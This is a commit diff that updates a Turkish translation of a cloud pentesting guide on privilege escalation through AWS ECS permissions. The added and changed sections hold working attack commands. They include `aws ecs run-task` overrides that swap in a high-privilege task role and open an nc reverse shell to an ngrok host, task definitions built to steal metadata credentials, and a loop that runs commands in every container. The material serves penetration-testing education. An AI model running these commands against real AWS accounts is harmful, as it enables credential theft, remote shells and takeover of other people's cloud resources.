Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2025-08-31 08:14:24 +00:00
parent 0ee6efcd4b
commit 03bffd0f18
14 changed files with 80 additions and 32 deletions
Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 856 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 774 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 198 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 865 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 736 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 490 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 153 KiB

@@ -4,7 +4,7 @@
## ECS
Daha fazla **ECS hakkında bilgi** için:
ECS hakkında daha fazla **bilgi** için:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Daha fazla **ECS hakkında bilgi** için:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
`iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** **oluşturabilir** ve **çalıştırabilir**.
ECS'te `iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **zararlı container** içeren **yeni bir task definition** oluşturup bunu **çalıştırabilir**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
webhook.site gibi bir site ile bir webhook oluşturun
webhook oluşturmak için webhook.site gibi bir site kullanın
```bash
# Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Olası Etki:** Farklı bir ECS rolüne doğrudan yetki yükseltme.
**Potential Impact:** Doğrudan farklı bir ECS role privesc.
### `iam:PassRole`,`ecs:RunTask`
Bir saldırgan `iam:PassRole` ve `ecs:RunTask` izinlerine sahipse, değiştirilmiş **execution role**, **task role** ve konteynerin **command** değerleriyle yeni bir ECS task başlatabilir. `ecs run-task` CLI komutu `--overrides` bayrağını içerir; bu bayrak, task definition'ı değiştirmeden çalışma zamanında `executionRoleArn`, `taskRoleArn` ve konteynerin `command` değerlerini değiştirmeye izin verir.
Belirtilen IAM rollerinin `taskRoleArn` ve `executionRoleArn` için trust policy'sinde `ecs-tasks.amazonaws.com` tarafından üstlenilmesine izin vermesi gerekir.
Ayrıca, saldırganın bilmesi gerekenler:
- ECS cluster adı
- VPC Subnet
- Security group (Eğer security group belirtilmezse varsayılan olan kullanılacaktır)
- Task Definition adı ve revizyonu
- Konteynerin adı
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
Yukarıdaki kod kesitinde bir saldırgan yalnızca `taskRoleArn` değerini geçersiz kılıyor. Ancak, saldırının gerçekleşmesi için saldırganın komutta belirtilen `taskRoleArn` ve task tanımında belirtilen `executionRoleArn` üzerinde `iam:PassRole` iznine sahip olması gerekir.
Eğer saldırganın pass edebildiği IAM rolünün ECR imajını çekmek ve ECS task'ını başlatmak için yeterli ayrıcalıkları varsa (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) saldırgan `ecs run-task` komutunda hem `executionRoleArn` hem de `taskRoleArn` için aynı IAM rolünü belirtebilir.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Olası Etki:** Herhangi bir ECS task role'a doğrudan privesc.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
Önceki örnekte olduğu gibi, bir saldırgan ECS'deki **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak metadata kimlik bilgilerini çalan bir **kötü amaçlı container** içeren yeni bir task definition **oluşturabilir** ve **çalıştırabilir**.\
Ancak, bu durumda kötü amaçlı task definition'ı çalıştırmak için bir container instance'ın bulunması gerekir.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki artırma.
**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.**
Önceki örnekte olduğu gibi, ECS'de **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, metadata kimlik bilgilerini çalan **zararlı bir container** içeren **yeni bir task definition** oluşturabilir ve **bunu en az 1 task çalışacak şekilde yeni bir service oluşturarak çalıştırabilir.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Olası Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme.
**Olası Etki:** Herhangi bir ECS rolüne doğrudan privesc.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Aslında, bu izinlerle, bir konteynerde rastgele bir rol ile rastgele komutlar çalıştırmak için geçersiz kılmalar kullanmak mümkündür:
Aslında, sadece bu izinlerle overrides kullanarak herhangi bir role sahip bir container içinde rastgele komutları çalıştırmak mümkün; şöyle bir şeyle:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -139,12 +185,12 @@ aws ecs run-task \
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\
Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
Bu senaryo önceki olanlara benzer fakat **`iam:PassRole`** izni **olmaksızın**.\
Bu hâlâ ilginç çünkü role sahip olmasa bile rastgele bir container çalıştırabiliyorsanız, **run a privileged container to escape** yaparak node'a ulaşabilir ve **steal the EC2 IAM role** ile node üzerinde çalışan **other ECS containers roles**'ı çalabilirsiniz.\
Hatta ele geçirdiğiniz EC2 instance içinde diğer görevleri çalıştırmaya **force other tasks to run inside the EC2 instance** zorlayarak onların kimlik bilgilerini çalabilirsiniz (detaylar [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) kısmında tartışıldığı gibi).
> [!WARNING]
> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
> Bu saldırı yalnızca **ECS cluster is using EC2** instance'ları kullanıyorsa ve Fargate değilse mümkündür.
```bash
printf '[
{
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** yetkisine sahip bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir).
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** izinlerine sahip bir saldırgan, çalışan bir konteyner içinde **komut çalıştırabilir** ve ona bağlı IAM rolünü exfiltrate edebilir (bunu yapmak için `aws ecs execute-command` komutunu çalıştırmak gerektiğinden describe izinlerine ihtiyaç vardır).\
Ancak bunu yapabilmek için konteyner örneğinin **ExecuteCommand agent**'ı çalıştırıyor olması gerekir (varsayılan olarak çalışmaz).
Bu nedenle, saldırgan şunları denemek isteyebilir:
Bu nedenle saldırgan şunları deneyebilir:
- **Her çalışan konteynerde bir komut çalıştırmayı deneyin**
- **Her çalışan konteynerde bir komut çalıştırmayı denemek**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Eğer **`ecs:RunTask`** iznine sahipse, bir görevi `aws ecs run-task --enable-execute-command [...]` ile çalıştırın.
- Eğer **`ecs:StartTask`** iznine sahipse, bir görevi `aws ecs start-task --enable-execute-command [...]` ile çalıştırın.
- Eğer **`ecs:CreateService`** iznine sahipse, bir hizmet oluşturun `aws ecs create-service --enable-execute-command [...]` ile.
- Eğer **`ecs:UpdateService`** iznine sahipse, bir hizmeti `aws ecs update-service --enable-execute-command [...]` ile güncelleyin.
- Eğer yetkide **`ecs:RunTask`** varsa, `aws ecs run-task --enable-execute-command [...]` ile bir task çalıştırın.
- Eğer yetkide **`ecs:StartTask`** varsa, `aws ecs start-task --enable-execute-command [...]` ile bir task çalıştırın.
- Eğer yetkide **`ecs:CreateService`** varsa, `aws ecs create-service --enable-execute-command [...]` ile bir service oluşturun.
- Eğer yetkide **`ecs:UpdateService`** varsa, `aws ecs update-service --enable-execute-command [...]` ile bir service güncelleyin.
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
Bu seçeneklere ait **örnekleri** önceki **ECS privesc bölümlerinde** bulabilirsiniz.
**Olası Etki:** Farklı bir role geçiş yapma, konteynerlere bağlı.
**Potansiyel Etki:** containers'a bağlı farklı bir role Privesc.
### `ssm:StartSession`
Bu izni nasıl kötüye kullanabileceğinizi **ssm privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
**ssm privesc page** üzerinde bu izni nasıl kötüye kullanarak **privesc to ECS** yapabileceğinizi kontrol edin:
{{#ref}}
aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Bu izinleri nasıl kötüye kullanabileceğinizi **ec2 privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
**ec2 privesc page** üzerinde bu izinleri nasıl kötüye kullanarak **privesc to ECS** yapabileceğinizi kontrol edin:
{{#ref}}
aws-ec2-privesc.md
{{#endref}}
### `?ecs:RegisterContainerInstance`
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Yapılacak: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi??
Bu izinlere sahip bir saldırgan potansiyel olarak bir EC2 instance'ını bir ECS cluster'ına kaydedebilir ve üzerinde task'lar çalıştırabilir. Bu, saldırganın ECS task'larının bağlamı içinde keyfi kod çalıştırmasına izin verebilir.
- TODO: Farklı bir AWS hesabından bir instance kaydetmek ve böylece task'ların saldırganın kontrolündeki makineler üzerinde çalıştırılması mümkün mü??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> Yapılacak: Bunu test et
> TODO: Bunu test et
`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` ve `ecs:DescribeTaskSets` izinlerine sahip bir saldırgan, **mevcut bir ECS hizmeti için kötü niyetli bir görev seti oluşturabilir ve birincil görev setini güncelleyebilir**. Bu, saldırgana **hizmet içinde rastgele kod çalıştırma** imkanı tanır.
Bu izinlere sahip bir saldırgan **mevcut bir ECS servisi için kötü niyetli bir task set oluşturabilir ve primary task set'i update edebilir**. Bu, saldırganın servis içinde **keyfi kod çalıştırmasına** olanak tanır.
```bash
bashCopy code# Register a task definition with a reverse shell
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Olası Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
**Potential Impact**: Etkilenen hizmette keyfi code yürütülebilir; bu, hizmetin işlevselliğini etkileyebilir veya hassas verilerin exfiltrating yoluyla alınmasına neden olabilir.
## Referanslar